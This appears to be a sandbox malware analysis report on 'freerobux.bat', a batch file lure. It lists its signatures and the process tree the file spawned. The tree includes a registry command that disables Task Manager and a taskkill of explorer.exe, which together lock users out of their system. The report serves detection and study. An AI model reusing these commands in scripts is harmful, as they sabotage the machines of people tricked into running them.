Resubmissions

25/09/2026, 08:35

260925-kgy74aw1cy8

13/05/2026, 08:16

260513-j6dr1sft6x8

19/04/2026, 14:18

260419-rmh7dshy218

Analysis

  • user interaction
    yes
  • max time kernel
    298s
  • max time network
    284s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    19/04/2026, 14:18

General

  • Target
    freerobux.bat
  • Size 1KB
  • Sample260419-rmh7dshy21
  • SHA256 deaa5d2d0d1c0c52ff741086ea9da3125ea5b802a1eeba4ca267b3f08a6fc942
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Disables Task Manager via registry modification
  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\freerobux.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:436
    • C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:4684
    • C:\Windows\system32\cacls.exe
      "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
      2⤵
        PID:2108
      • C:\Windows\system32\chcp.com
        chcp 65001
        2⤵
          PID:3792
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
          2⤵
            PID:1592
          • C:\Windows\system32\taskkill.exe
            taskkill /f /IM explorer.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4772

        Network

              MITRE ATT&CK Matrix

              Replay Monitor

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              Downloads

              memory/4684-0-0x00000260DC5F0000-0x00000260DC64D000-memory.dmp

              memory/4772-1-0x000001938F040000-0x000001938F09D000-memory.dmp